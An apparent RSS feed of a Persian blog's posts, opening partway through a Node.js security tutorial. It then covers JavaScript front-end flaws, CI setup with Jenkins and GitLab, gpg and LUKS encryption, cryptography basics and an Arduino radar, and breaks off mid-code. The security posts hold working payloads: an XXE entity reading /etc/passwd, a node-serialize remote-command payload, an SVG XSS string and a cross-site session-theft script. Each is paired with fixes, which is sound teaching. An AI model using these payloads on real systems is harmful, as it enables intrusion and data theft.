{noent:true,noblanks:true})به صورت پیش فرض کتابخانه libxmljs می تواند فایل های اکسترنال را هم فراخوانی کنید و ما هم از این فرصت استفاده می کنیم و یک entity تعریف می کنیم و ارسال می کنیم:&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY bar SYSTEM &quot;file:///etc/passwd&quot; &gt;]&gt;&lt;products&gt;   &lt;product&gt;      &lt;name&gt;Playstation 4&lt;/name&gt;      &lt;code&gt;274&lt;/code&gt;      &lt;tags&gt;gaming console&lt;/tags&gt;      &lt;description&gt;&amp;bar;&lt;/description&gt;   &lt;/product&gt;&lt;/products&gt;عملا باید بتوانیم محتوا فایل passwd را بخوانیم.کد بهبود یافته: var products = libxmljs.parseXmlString(req.files.products.data.toString(&#039;utf8&#039;), {noent:false,noblanks:true})توضیحات بیشتر در کتابچه appsecco۵-حملات Insecure Deserializationاول از همه نگاهی به payload اتک بی اندازیم:{&quot;rce&quot;:&quot;_$$ND_FUNC$$_function (){require(&#039;child_process&#039;).exec&#40;&#039;id;cat /etc/passwd&#039;, function(error, stdout, stderr&#41; { console.log(stdout) });}()&quot;} با این payload می توانیم محتوا passwd را بخوانیم! چطور؟اگر موقع deserialization کردن مانند کد زیر به صورت نا امن deserialization بکنیم این آسیب پذیری به وجود می آید: var products = serialize.unserialize(req.files.products.data.toString(&#039;utf8&#039;))کد بهبود یافته می تواند مانند زیر باشد:var products = JSON.parse(req.files.products.data.toString(&#039;utf8&#039;))توضیح بیشتر در کتابچه appseccoمنابعSlideShareAppseccoBaweTechمعذرت بابت کم و کاستی های فراوان این مطلب خیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Tue, 14 May 2019 21:50:54 +0430</pubDate>
            </item>
                    <item>
                <title>مشکلات امنیتی رایج استفاده جاوااسکریپت در فرانت اند</title>
                <link>https://virgool.io/JavaScript8/%D9%85%D8%B4%DA%A9%D9%84%D8%A7%D8%AA-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-%D8%B1%D8%A7%DB%8C%D8%AC-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%AC%D8%A7%D9%88%D8%A7%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-%D8%AF%D8%B1-%D9%81%D8%B1%D8%A7%D9%86%D8%AA-%D8%A7%D9%86%D8%AF-h7r29eryskok</link>
                <description>hackersonlineclub.comدر دوره ای زندگی می کنیم که جاوااسکریپت بیش از هر زمان دیگیری در همه جا به خصوص در بستر وب نقش آفرینی می کند.امنیت در استفاده از Pure Javascript بسیار مهم و حیاتی است زیرا در فریمورک ها آسیب پذیری های رایج به شکلی رفع شده است۱- بحث بحث جاوااسکریپت و بازار xss از نوع DOM داغ!به طور خلاصه ما در جاوااسکریپت یک سری توابع داریم که sink هستند به این معنی که اجرایی هستند مثل:دوستان معذرت، داخل ویرگول این دو تابع را نمی توانم وارد کنممثال ۱ و مثال ۲یک سری توابع داریم که از نوع source هستند به این معنی که ورودی می گیریند مثل:Document.URLlocation.*document.referrerما در xss از نوع dom می کوشیم source را طوری تغییر دهیم که توسط sink اجرا و نتیجه دلخواه ما اجرا شود.توضیحات بیشتر در اینجا۲-تزریق از نوع Expression Language Injectionفرض کنید قسمتی از اینترفیس صفحه از بخش دیگری خوانده می شود مثل: document.body = template  پس template را ما مشخص می کنیم!البته که فقط محدود به template نمی شود مثال های بیشتر را در اینجا می توانید مشاهده کنید.۳- ربایش از نوع SVG Clickjackingفرض کنید فرمی است که اطلاعاتی از کاربر می گیرید attacker سعی می کند انتهای فرم را ببندد و یک svg با event های ارائه شده در html5 را در قرار دهد.‘&gt;“/&gt;&lt;svg/=prompt&#40;&#41;&gt;توضیحات بیشتر در اینجا۴-تغییر در DOM با DOM Clobberingاین آسیب پذیری به نسبت پیچیده است و در روی مرورگر های قدیمی قابل اجرا استارور undefined در جاوااسکریپت و اسامی رزرو جاوااسکریپت در مرورگر های قدیمی باعث می شود تا به DOM دسترسی پیدا کنیم برای مثالdiary.shift-js.infoخب از این موضوع میتوان به شکل زیر هم استفاده کردdiary.shift-js.infoو نتیجه زیر را در IE7 گرفتdiary.shift-js.infoاین باگ اونقدر هم غیر قابل استفاده نیست آسیب پذیری کشف شده در ckeditor ورژن 3.6.6.2 ادیتور معروف CKEditorاطلاعات بیشتر در اسلاید های Lewis Ardern و توضیحات بهتر در اینجا۵-نشت اطلاعات Information Leakageبه طوری کلی وقتی برنامه ای فضایی از حافظه می گیرد ولی آن را بر نمی گرداند می گوییم memory leakage رخ داده است.(توضیحات بیشتر در این فیلم و متن)با توجه به تعریف memory leakage می توان information leakage را نشست اطلاعات مهم و ضروری  از برنامه دانست برای مثال:
// located at http://victim.com/get_session_information.jsvar username=&quot;ben&quot;;var sessionid=&quot;10265ed845634413e490432d951d00f0&quot;;
// located at http://attacker.com
function leaked() {  alert&#40;&quot;I know your sessionid for victim.com: &quot; + sessionid&#41;;}&lt;script src=&quot;http://victim.com/get_session_information.js&quot; =&quot;leaked&quot;&gt;قربانی با مراجعه به وبسایت attacker اطلاعاتی مهمی مثل sessionid را در اختیار attacker قرار می دهداین مشکل تقصیر کاربر نیست بله باید توسع دهنده اطلاعات مهم و ضروری را حتما سمت سرور نگه داری کند.پیش گیری بهتر از درمانبه طور کلی بهترین روش های برای جلوگیری از attack های تحت وب input validation است.که شامل موارد زیر است.black listregexencryptionمنابعSlideShareBaweTechمعذرت بابت کم و کاستی های فراوان این مطلب خیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما </description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Thu, 09 May 2019 22:45:43 +0430</pubDate>
            </item>
                    <item>
                <title>مثال ساده ای از Continuous Integration</title>
                <link>https://virgool.io/coderlife/%D9%85%D8%AB%D8%A7%D9%84-%D8%B3%D8%A7%D8%AF%D9%87-%D8%A7%DB%8C-%D8%A7%D8%B2-continuous-integration-siyjzikcb0qp</link>
                <description>در این مطلب میخواهیم مثالی از پیاده سازی و استفاده از CI در مهندسی نرم افزار را با هم بررسی کنیمابتدا لازم است تعریفی از Continuous Integration داشته باشیمتعریف  Continuous Integrationروشی در مهندسی نرم افزار که به واسط آن میتوان توسعه پروژه را به ازای هر تغییر را سریع تر و مطمئن تر کرد را گویند!به زبانی دیگر اگر شما سیستم کنترل ورژن دارید به ازای هر کامیت در این سیستم بعد از تست از پروژه build گرفته شود و مثلا به شما اطلاع داده شود برای مثال در تصویر زیر چند نفر در حال توسعه پروژه ای هستند هر فرد کد خود را در commit می کند سیستم به صورت خودکار متوجه تغییرات در repository می شود بعد از Build  و Test نتیجه را اطلاع می دهدdotnetvibes ابزار های مورد استفاده Continuous Integrationابزار های زیادی برای اینکار وجود دارد ولی ما در این مطلب از jenkins و gitlab استفاده می کنیمسیستم gitlab برای ما نقش source control را دارد و سیستم jenkins برای ما نقش automate کردن فرآیند build و test را داردبرای نصب gitlab لینوکس میتوانید از این لینک استفاده کنیدبرای نصب jenkins میتوانید از این لینک استفاده کنیداگر به مشکلی خوردید احتمالا قبل از دیباگ شاید مشکل در پورت های سیستم باشداگر خواستید پورت مربوط به gitlab را در centos7 تغییر دهید به این مسیر بروید/etc/gitlab/gitlab.rbو این خط را تغییر دهیدexternal_portو سپس دستور های زیر را وارد کنیدgitlab-ctl reconfiguregitlab-ctl restartاگر خواستید پورت مربوط به jenkins را در centos7 تغییر دهید به این مسیر بروید /etc/sysconfig/jenkinsو این خط را تغییر دهیدJENKINS_PORTاگر خواستید url مربوط به jenkins را نیز تغییر بدهید به این مسیر بروید[http/https]://ip:port/configureو این خط را تغییر دهیدJenkins Locationسرویس jenkins را هم با دستور زیر ریستارت کنیدsystemctl restart jenkins.serviceسناریو شرکت طراحی وبسایتفرض کنید توسعه دهنده ای بر روی پروژه طراحی وبسایت مشتری کار می کندتوسعه دهنده هر روز حدود ۲۵ کامیت دارد میخواهیم با استفاده از continuous integration به توسعه دهنده کمک کنیم تا کدهای کامیت شده به صورت اتوماتیک build و test شود و به او نتیجه کار اعلام شودما برای اینکار مراحل زیر را انجام می دهیم۱- سیستم های  gitlab و jenkins را بر روی سرور داخلی شرکت نصب می کنیم۲-  پروژه مشتری را در داخل reposiroty در gitlab اضافه میکنیم۳- در jenkins، نودی برای build و test ایجاد میکنیملازم به ذکر است نودی مربوط باید فقط و فقط jre را نصب داشته باشد برای ساخت نود به این آدرس می رویم http://ip:port/computer  و در New Nodes کلیک و به مانند تصویر عمل میکنیمفقط لطفا آدرس Host و Credentials را با توجه به اطلاعات سرور خودتان تغییر دهیدبعد از تکمیل فرم save را می فشاریمبرای استفاده از این نود به صفحه اصلی jenkins می رویم و بر روی New Item کلیک می کنیم و یک item از نوع Freestyle project انتخاب می کنیمبرای استفاده از این نود به صفحه اصلی jenkins می رویم و بر روی New Item کلیک می کنیم,سپس فرمی نسبتا طویل برای ما باز می شوددر این فرم تیک های زیر را به ترتیب می زنیمابتدا گزینه Restrict where this project can be run فعال می کنیم که به ما اجازه می دهد نود دلخواه را برای این job اضافه کنیم برای همین نام نودی که در مراحل قبل ایجاد کردیم را می نویسیمسپس از بخش Source Code Management گزینه Git را فعال می کنیمو در بخش Repositories آدرس repository مربوط به پروژه مشتری را وارد می کنیم و از بخش Build Triggers گزینه زیر را فعال می کنیمBuild when a change is pushed to GitLab. GitLab webhook URL: http://ip:port/project/testاین گزینه به ما اجازه می دهد که بعد از push شدن commit این job  فعال شودسپس برای secret token ارتباطی git و jenkins در همین بخش از advance یک secret token انتخاب می کنیمسپس در Build گزینه Execute shell را فعال می کنیم و کدی که میخواهیم بعد commit اتفاق بی افتد را وارد میکنیمالبته که می شود با هر زبانی کد نوشت و اینجا فقط دستور اجرای آن را صادر کرد!در آخر اگر میخواهیم با اتمام این job، job دیگری فعال شود از Post-build Actionsگزینه Build other projects را فعال میکنیم و نام job دیگر را تایپ می کنیمدو کاری باید در gitlab انجام دهیم ابتدا در پروژه مورد نظر به بخش Settings و Integrations می رویمدر این بخش url  و secret token که در jenkins و در بخش Build Triggers بود را اینجا کپی می کنیم و Add webhook می کنیمبرای تست کار در همین صفحه گزینه Test را انتخاب می کنیماگر همه چیز درست کار کند مانند تصویر زیر job فعال می شودمنابعآموزش یکپارچه‌سازی پیوسته (Continuous Integration) احمد طاهانی باویتککم و کاستی های این مطلب را به بزرگی خودتان ببخشیدلطفا هر نظری و انتقادی و پشنهادی داشتید اینجا کامنت کنید با تشکر از شما</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Fri, 05 Apr 2019 17:15:27 +0430</pubDate>
            </item>
                    <item>
                <title>آمار بازدید مطالب من در سال ۹۷</title>
                <link>https://virgool.io/@rezaduty/%D8%A2%D9%85%D8%A7%D8%B1-%D8%A8%D8%A7%D8%B2%D8%AF%DB%8C%D8%AF-%D9%85%D8%B7%D8%A7%D9%84%D8%A8-%D9%85%D9%86-%D8%AF%D8%B1-%D8%B3%D8%A7%D9%84-%DB%B9%DB%B7-hneop5rvrzx2</link>
                <description>من در سال گذشته، در مجموع ۶ مقاله در ویرگول منتشر کردم. در طول این سال مقالات من ۶۴ مرتبه لایک شدند و ۱۷ نظر نیز بر روی آن‌ها ارسال شد. با مطالعه این مقالات، ۱۹ نفر تصمیم گرفتند تا من را در ویرگول دنبال کنند تا از مقالات بعدی من باخبر شوند.مخاطبیندر طول این سال، مقالات من توسط ۷۶۲ نفر در ویرگول مطالعه شده است. مدت زمانی که این افراد در حال مطالعه‌ی آن‌ها بوده‌اند برابر با ۵۵,۵۳۹ ثانیه است. اگر فرض کنیم در حال حاضر جمعیت ایران ۸۰ میلیون نفر است، این یعنی من توانسته‌ام سرانه مطالعه کشورم ایران را ۰/۰۰۰۶۹۴ ثانیه افزایش دهم. شاید بتوانیم این عدد را به «اثر پروانه‌ای» تشبیه کنیم؛ چرا که هر کدام از نویسندگان در ویرگول توانسته‌ایم عددی کوچک را به سرانه مطالعه کشور اضافه کنیم اما مجموعِ تک تکِ این اعداد، یک عدد بزرگ شده است. من در کنار سایر کاربرانِ ویرگول توانستیم در سال ۹۷، سرانه مطالعه ایران را ۴/۱۲۲۳۴۳ ثانیه افزایش دهیم.می‌توانیم برای سال ۹۸، اتفاقات بزرگتری را رقم بزنیم.ویدیوی آمار مخاطبین من را ببینید: https://cdn.virgool.io/annual-report-97/hkx08qyxfq2o-NA10.mp4 </description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Thu, 28 Mar 2019 01:45:40 +0430</pubDate>
            </item>
                    <item>
                <title>رمز نگاری در عمل!</title>
                <link>https://virgool.io/@rezaduty/%D8%B1%D9%85%D8%B2-%D9%86%DA%AF%D8%A7%D8%B1%DB%8C-%D8%AF%D8%B1-%D8%B9%D9%85%D9%84-h8nlzwgfwi4m</link>
                <description>macworld.comدر نوشته قبلی با انواع الگوریتم های رمز نگاری آشنا شدیمحال میخواهیم از این الگوریتم ها در رمز نگاری فایل ها و پارتیشن ها استفاده کنیماین دستور العمل ها صرفا برای لینوکس و مک تهیه شده استما برای رمز نگاری از نرم افزاری به نام gpg استفاده میکنیم در ویندوز اسم این برنامه pgp استرمزنگاری یک فایلابتدا برای ساخت یک کلید برای خودمان از دستور زیر استفاده می کنیمgpg - - gen-key لیست کلید های روی ماشین را میگیریمgpg - - list-keysفایلی که میخواهیم رمز کنیم را با دستور زیر به gpg می دهیمgpg - - encrypt –r mostafa file.txtبرای رمز گشایی هم از دستور زیر استفاده می کنیمgpg -o file.txt.gpg.decrypted - -decrypt file.txt.gpgیک راه دیگر برای رمز نگاری و رمز گشایی فایل ها روش زیر است که توسط برنامه های بیشتر پشتیبانی می شودفایلی که میخواهیم رمز کنیم را با دستور زیر به gpg می دهیمgpg -e - - armor –r mostafa file.txtبرای رمز گشایی هم از دستور زیر استفاده می کنیمgpg -o file.txt - - decrypt –r mehdi file.txt.ascتا اینجا همه چیز روی یک ماشین بود حالا می خواهیم public key یا کلید عمومی خودمان را به دیگران بدهیم که دیگران با کلید عمومی ما فایل مورد نظر را رمز و برای ما ارسال کنندابتدا یک خروجی از کلید عمومی خود میگیریمgpg - - export - - armor -o machine1.asc.pubسپس آن را به در اینترنت یا key server و یا هر طریقی در اختیار دیگران می گذاریمهر کس بخواهد کلید عمومی ما را داشته باشد این دستور را وارد می کندgpg --import machine1.asc.pubلیست کلید ها را چک می کند و باید اسم افرادی که کلید آن هارا داریم را داشته باشیمgpg --list-keysسپس با این دستور برای یک یا چند دریافت کننده که کلید عمومی آن ها در ماشین موجود است فایل را رمز می کنیمgpg --armor --recipient &quot;mehdi&quot; --recipient &quot;farid&quot; --output &quot;message.txt.asc&quot;حالا می توانیم ایمیل های رمز شده بفرستیم!gpg --armor --recipient &quot;mehdi&quot; --output &quot;message.txt.asc&quot; --encrypt &quot;message.txt&quot;و ایمیل های رمز شده بخوانیمgpg –d –a –r mehdi message.txt.ascاگر بخواهیم علاوه بر رمز کردن یک فایل، آن را هم امضا کنیم میتوانیم از دستور زیر استفاده کنیمgpg --local-user &quot;YOURNAME&quot; --recipient &quot;RECIPIENT&quot; --armor --sign --output &quot;message.txt.asc&quot; --encrypt &quot; message.txt &quot;رمز نگاری یک پارتیشنبرای رمز نگاری یک پارتیشن از LUKS استفاده کنیمبرای این کار ابتدا پکیج cryptsetup را نصب می کنیمپارتیشین مورد نظر را با دستور زیر فرمت می کنیمcryptsetup -y luksFormat /dev/sdb1با دستور زیر پارتیشن را به اصطلاح به ماشین مپ می کنیمcryptsetup luksOpen /dev/sdb1 secretfs1سپس یک فایل سیستم روی آن قرار می دهیمmkfs –t ext4 /dev/mapper/secretfs1حال آن را mount می کنیمmount /dev/mapper/secretfs1 /mnt/secretfs1بعد از اتمام کار با پارتیشن آن را mount و Close می کنیمumount /mnt/secretfs1cryptsetup luksClose secretfs1اگر پارتیشن را در هنگام بوت Open کنید در همان موقع بوت هم پسورد پرسیده می شودمنبعفناوران آنیساباویتککم و کاستی های فروان این مطلب را بر ما ببخشیدخیلی خوشحال می شوم نظرات خود را بگذاریدبا تشکر از شما</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Tue, 12 Mar 2019 00:33:44 +0330</pubDate>
            </item>
                    <item>
                <title>رمز نگاری به زبان ساده</title>
                <link>https://virgool.io/@rezaduty/%D8%B1%D9%85%D8%B2-%D9%86%DA%AF%D8%A7%D8%B1%DB%8C-%D8%A8%D9%87-%D8%B2%D8%A8%D8%A7%D9%86-%D8%B3%D8%A7%D8%AF%D9%87-mbcojm2oxiof</link>
                <description>تعریف رمز نگاریچند تعریف برای معنای رمز نگاری نیاز است ابتدا آن هارا با هم بررسی کنیممتن آشکار(Plaintext)plaintextمتنی که رمز نشده استمتن رمز(Ciphertext)ciphertextمتنی که رمز شده استرمز(Cipher)الگوریتم سزارالگورتیمی که Plaintext را به Ciphertext تبدیل میکند را گویندکلید(Key)keyاطلاعاتی که در Cipher استفاده میشود و فقط فرستنده و یا گیرنده آن را میدانندرمز گذاری(Encipher,Encrypt)تبدیل Plaintext به Ciphertext رمز گشایی(Decipher,Decrypt)استخراج Plaintext از Ciphertextرمز نویسی(Cryptography)علم اصول روش های encryptionتحلیل رمز(Cryptanalysis)علم اصول و روش های Decryption بدون اطلاع از Key که به آن به اصطلاح codebreaking هم گفته میشودرمز نگاری(Cryptology)و بالاخره رمز نگاری یعنی علم حاصل از ترکیب Cryptography و Cryptanalysisرمزنگاری اصولا به دو روش ۱-رمزنگاری متقارن ۲- رمزنگاری نامتقارن تقسیم میشودرمزنگاری متقارن(Symmetric)symmetricدر این روش از کلید مشترک برای Encrypt  و Decrypt استفاده میشود از الگوریتم های معروف آنAESDES3DESBlowfishRC4...رمز های متقارن را  میتوان به دو روش عمده تولید کرد:رمز های قطعه ای(Block Cipher)در این نوع پردازش پیام های به صورت قطعه ای انجام میشود که اندازه متعارف قطعات ۶۴ و ۱۲۸ یا ۲۵۶ بیت استالگوریتم های Blowfish,DES,3DES,AES از این نوع هستندرمز های جریانی(Stream Cipher)در این نوع پرداز پیام به صورت پیوسته انجام می شودالگوریتم RC4 از این نوع استمد های کاری رمز های قطعه ایمد ECB: Electronic Code Book اشکل اساسی در این مد است که هر Plaintext به ازای کلید یک رمز تولید میکند و با این اوصاف دشمن میتواند دریابد که پیام های یکسان ارسال شده استمد CBC: Cipher Block Chainingاین مد از یک مقدار اولیه تصادفی(IV)استفاده میکند که به همراه متن رمز شده ارسال میشودمزیت این روش است که به ازای هر Plaintext یک IV متفاوت ارسال میشود و یک رمز متفاوت تولید میشودالبته IV هم باید رمز شود چون ممکن است تحلیلگر با ارسال IV جعلی منجر به تغییر خاصی در پیام رمز شده شود برای همین IV را با مد ECB  رمز می کنند...در benchmark زیر سرعت الگوریتم های روش متقارن را مشاهده می کنیدQuoraاگر خواستید الگوریتم AES را امتحان کنید به اینجا مراجعه کنیدرمزنگاری نامتقارن(Asymmetric)asymmetricدر این روش به جای استفاده از یک کلید مشترک از یک جفت کلید به نام های عمومی(public) و خصوصی(private) استفاده میشود به این صورت که با public key اطلاعات encrypt شده و با private  key اطلاعات decrypt میشوداز الگوریتم های معروف این روش RSAElGamal...رمز نگاری نا متقارن برای جایگزینی روش رمز نگاری متقارن به وجود نیامده است بلکه برای تکمیل روش رمز نگاری متقارن به وجود آمده است که به آن اصطلاح کلید عمومی گفته میشود و برای رسیدن به دو هدف طراحی شده استحل مساله در اختیار داشتن کلید در روش رمز نگاری متقارنامضای دیجیتالویژگی های روش نامتقارن را میتوان موارد زیر عنوان کردرسیدن به encryption key از decryption key از لحاظ محاسبانی نا ممکن استدر حفظ محرمانگی(Confidentiality) رمزگذاری امری همگانی است و نیازی به اشتراک گذاری اطلاعات محرمانه وجود ندارددر حفظ محرمانگی(Confidentiality) رمزگذاری امری اختصاصی بوده است و محرمانگی پیام ها محفوظ می ماندبرای رمزنگاری گام های زیر را بر می داریمهر کاربر یک جفت public key و private key تولید میکندکاربران public key خود را به صورت عمومی اعلام می کنندهمگان قادر به ارسال پیام رمز شده برای هر کاربر دلخواه با استفاده از public key او هستندهر کاربر میتواند با استفاده از private key پیام هایی که با public key او رمز شده است را رمز گشایی کنددر benchmark زیر سرعت الگوریتم های روش نا متقارن را مشاهده می کنیدResearchGate اگر خواستید الگوریتم RSA را امتحان کنید به اینجا مراجعه کنید البته که قرار شد private key محرمانه باشد! ولی خب برای امتحان بد نیستگمراه کنندگی (Confusion) و پراکندگی (Diffusion)گمراه کنندگی (Confusion) : رابطه بین متن رمزشده و کلید تا حد امکان پیچیده باشد.پراکندگی (Diffusion) :ساختار آماری Plantext بر روی حجم وسیعی از متنهای رمزشده ممکن پراکنده شود.الگوریتم های رمز باید خصوصیات آماري Plaintext را به طور کامل مخفی کنند. که الگویتم هایOne-Time Pad این عمل را انجام می دهندحملات تحلیل رمز نگاریبه طور کلی هدف از حملهاستخراج Key استخراج Plaintext از متن رمز شده و نحوه حملات را میتوان به دو روش زیر عنوان کردبررسی خصوصیات الگوریتم رمزبررسی مجموعه ای از متن های آشکار و رمز شده آن هابرای مثال یک روش مرسوم Brute Force است که حدس زدن cipher های مختلف و تطابق آن با cipher اصلی، plaintext پیدا میشود ولی این روش مستلزم آن است که الگوریتم استفاده شده برای رمز نگاری را بدانیم منابعدوره امنیت داده و شبکه دانشگاه شریفباویتکمعذرت بابت کم و کاستی های فراوان این مطلب خیلی خوشحال میشوم نظرات خود را اینجا بگذاریدبا تشکر از شما  </description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Sun, 17 Feb 2019 23:27:34 +0330</pubDate>
            </item>
                    <item>
                <title>چگونه یک رادار درست کنیم!</title>
                <link>https://virgool.io/coderlife/%DA%86%DA%AF%D9%88%D9%86%D9%87-%DB%8C%DA%A9-%D8%B1%D8%A7%D8%AF%D8%A7%D8%B1-%D8%AF%D8%B1%D8%B3%D8%AA-%DA%A9%D9%86%DB%8C%D9%85-deallm7sclxu</link>
                <description> https://www.aparat.com/v/F187s آردوینو یک برد الکترونیک است که انواع مختلف و در کاربرد های مختلف دارد برای مثال نمونه ای از آن ضد اب است ما قرار است در این مطلب با استفاده از آردوینو و سرو موتو و سنسور آلتراسونیک یک رادار درست کنیم که فاصله اجسام بر روی یک رادار شبیه سازی کند برای اینکار با استفاده از محیط توسعه آردوینو با زبان c کد مینویسیم و با زبان processing محیط مربوط به رادار را شبیه سازی میکنیمخواهش میکنم اگر به الکترونیک هم علاقه ندارید عکس های این مطلب را ببینید شاید عاشق الکترونیک شدید!مداربرای مدار این پروژه ما به آردوینو uno یا megaسنسور آلتراسونیکسرو موتور نیاز داریمبرای شروع شماتیک مدار را باهم ببینیمشماتیک مدارهمانطور که در تصویر میبنیم یک آردوینو mega تعداد پایه دارد که میتوانیم برای تعدادی از آن ها کد نوشتهر سنسور و ماژولی که استفاده میکنیم را به پایه های برد وصل و برای آن کد مینوسیمالبته لازم به ذکر است که یک پایه همیشه زمین است و خب داخل برد یک پایه معمولا زمین است و برای همین پایه های زمین سنسور و ماژول هارا با هم موازی میکنیم (pwm) در این آموزش مورد استفاده شده است)پایه ای که قرار است سنسور بر روی سرو موتور قرار بگیرد را درست میکنیمپایه آلتراسونیکبعد از ساخت پایه آن را بر روی سرو موتو پیچ میکنیم و یک مادگی 4 تایی داخل آن قرار میدهیمدر نهایت سنسور را بر روی آن قرار میدهیمکد نویسیابتدا ide مربوط به آردوینو را نصب میکنیم سپس برد آردوینو را از طریق پورت  A B USB به سیستم وصل میکنیمhttps://www.amazon.com/DTOL-Canon-Pixma-Printer-Cable/dp/B0032GTLH2سپس کد زیر کامپایل و روی برد آپلود میکنیم&#x60;// Includes the Servo library
#include &lt;Servo.h&gt;. 
// Defines Tirg and Echo pins of the Ultrasonic Sensor
const int trigPin = 10;
const int echoPin = 11;
// Variables for the duration and the distance
long duration;
int distance;
Servo myServo; // Creates a servo object for controlling the servo motor
void setup() {
pinMode(trigPin, OUTPUT); // Sets the trigPin as an Output
pinMode(echoPin, INPUT); // Sets the echoPin as an Input
Serial.begin(9600);
myServo.attach(12); // Defines on which pin is the servo motor attached
}
void loop() {
// rotates the servo motor from 15 to 165 degrees
for(int i=15;i&lt;=165;i++){ 
myServo.write(i);
delay(30);
distance = calculateDistance();// Calls a function for calculating the distance measured by
the Ultrasonic sensor for each degree
Serial.print(i); // Sends the current degree into the Serial Port
Serial.print(&amp;quot,&amp;quot); // Sends addition character right next to the previous value needed later in the Processing IDE for indexing
Serial.print(distance); // Sends the distance value into the Serial Port
Serial.print(&amp;quot.&amp;quot); // Sends addition character right next to the previous value needed later in the Processing IDE for indexing
}
// Repeats the previous lines from 165 to 15 degrees
for(int i=165;i&gt;15;i--){ 
myServo.write(i);
delay(30);
distance = calculateDistance();
 Serial.print(i);
 Serial.print(&amp;quot,&amp;quot);
 Serial.print(distance);
 Serial.print(&amp;quot.&amp;quot);
 }
 }
 // Function for calculating the distance measured by the Ultrasonic sensor
 int calculateDistance(){ 
 digitalWrite(trigPin, LOW); delayMicroseconds(2);
// Sets the trigPin on HIGH state for 10 micro seconds
digitalWrite(trigPin, HIGH); 
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
duration = pulseIn(echoPin, HIGH); // Reads the echoPin, returns the sound wave travel time in microseconds
distance= duration*0.034/2;
return distance;
}در این کد ما فاصله اجسام را در هر لحظه در زوایایی که سرو موتور در حال چرخش است میگیریم و در پورت سریال مینویسم در واقع برنامه شبیه ساز رادار همین مقادیر را میخواند و شبیه سازی میکندکد راداربرای شبیه سازی از processsing استفاده میکنیم که یک کتابخوانه گرافیکی متن باز است برای شروع ابتدا آن را نصب میکنیم ابتدا محیط رادار با تابع زیر رسم میکنیمvoid drawRadar() {
pushMatrix();
translate(960,1000); // moves the starting coordinats to new location
noFill();
strokeWeight(2);
stroke(98,245,31);
// draws the arc lines
arc(0,0,1800,1800,PI,TWO_PI);
arc(0,0,1400,1400,PI,TWO_PI);
arc(0,0,1000,1000,PI,TWO_PI);
arc(0,0,600,600,PI,TWO_PI);
// draws the angle lines
line(-960,0,960,0);
line(0,0,-960*cos(radians(30)),-960*sin(radians(30)));
line(0,0,-960*cos(radians(60)),-960*sin(radians(60)));
line(0,0,-960*cos(radians(90)),-960*sin(radians(90)));
line(0,0,-960*cos(radians(120)),-960*sin(radians(120)));
line(0,0,-960*cos(radians(150)),-960*sin(radians(150)));
line(-960*cos(radians(30)),0,960,0);
popMatrix();
}خروجی این کد بعد از کامپایل این تصویر استرادارخطی که در هر لحظه بر روی رادار میچرخد را با تابع زیر رسم میکنیمvoid drawLine() {
pushMatrix();
strokeWeight(9);
stroke(30,250,60);
translate(960,1000); // moves the starting coordinats to new location
line(0,0,950*cos(radians(iAngle)),-950*sin(radians(iAngle))); // draws the line according to the angle
popMatrix();
}سپس خطی که بعد شناسایی شی در محیط نمودار باید رسم شود را با تابع زیر رسم میکنیمvoid drawObject() {
pushMatrix();
translate(960,1000); // moves the starting coordinats to new location
strokeWeight(9);
stroke(255,10,10); // red color
pixsDistance = iDistance*22.5; // covers the distance from the sensor from cm to pixels
// limiting the range to 40 cms
if(iDistance&lt;40){
// draws the object according to the angle and the distance
line(pixsDistance*cos(radians(iAngle)),-pixsDistance*sin(radians(iAngle)),950*cos(radians(iAngle)),-950*sin(radians(iAngle)));
}
popMatrix();
}در نهایت همه توابع به همراه فونت و رنگ پس زمینه را در تابع زیر مینویسیمvoid draw() {
fill(98,245,31);
textFont(orcFont);
// simulating motion blur and slow fade of the moving line
noStroke();
fill(0,4); 
rect(0, 0, width, 1010); 
fill(98,245,31); // green color
// calls the functions for drawing the radar
drawRadar(); 
drawLine();
drawObject();
drawText();
}کل کد به همراه کتابخوانه ها شبیه زیر میشود ;/*   Arduino Radar Project
*
*   Updated version. Fits any screen resolution!
*   Just change the values in the size() function,
*   with your screen resolution.
*      
*  by Dejan Nedelkovski, 
*  www.HowToMechatronics.com
*  
*/
import processing.serial.*; // imports library for serial communication
import java.awt.event.KeyEvent; // imports library for reading the data from the serial port
import java.io.IOException;
Serial myPort; // defines Object Serial
// defubes variables
String angle=&amp;quot&amp;quot
String distance=&amp;quot&amp;quot
String data=&amp;quot&amp;quot
String noObject;
float pixsDistance;
int iAngle, iDistance;
int index1=0;
int index2=0;
PFont orcFont;
void setup() {
size (1920, 1080); // ***CHANGE THIS TO YOUR SCREEN RESOLUTION***
smooth();
myPort = new Serial(this,&amp;quotCOM4&amp;quot, 9600); // starts the serial communication
myPort.bufferUntil(&#039;.&#039;); // reads the data from the serial port up to the character &#039;.&#039;. So actually it reads this: angle,distance.
orcFont = loadFont(&amp;quotOCRAExtended-30.vlw&amp;quot);
}
void draw() {
fill(98,245,31);
textFont(orcFont);
// simulating motion blur and slow fade of the moving line
noStroke();
fill(0,4); 
rect(0, 0, width, height-height*0.065); 
fill(98,245,31); // green color
// calls the functions for drawing the radar
drawRadar(); 
drawLine();
drawObject();
drawText();
}
void serialEvent (Serial myPort) { // starts reading data from the Serial Port
// reads the data from the Serial Port up to the character &#039;.&#039; and puts it into the String variable &amp;quotdata&amp;quot.
data = myPort.readStringUntil(&#039;.&#039;);
data = data.substring(0,data.length()-1);
index1 = data.indexOf(&amp;quot,&amp;quot); // find the character &#039;,&#039; and puts it into the variable &amp;quotindex1&amp;quot
angle= data.substring(0, index1); // read the data from position &amp;quot0&amp;quot to position of the variable index1 or thats the value of the angle the Arduino Board sent into the Serial Port
distance= data.substring(index1+1, data.length()); // read the data from position &amp;quotindex1&amp;quot to the end of the data pr thats the value of the distance
// converts the String variables into Integer
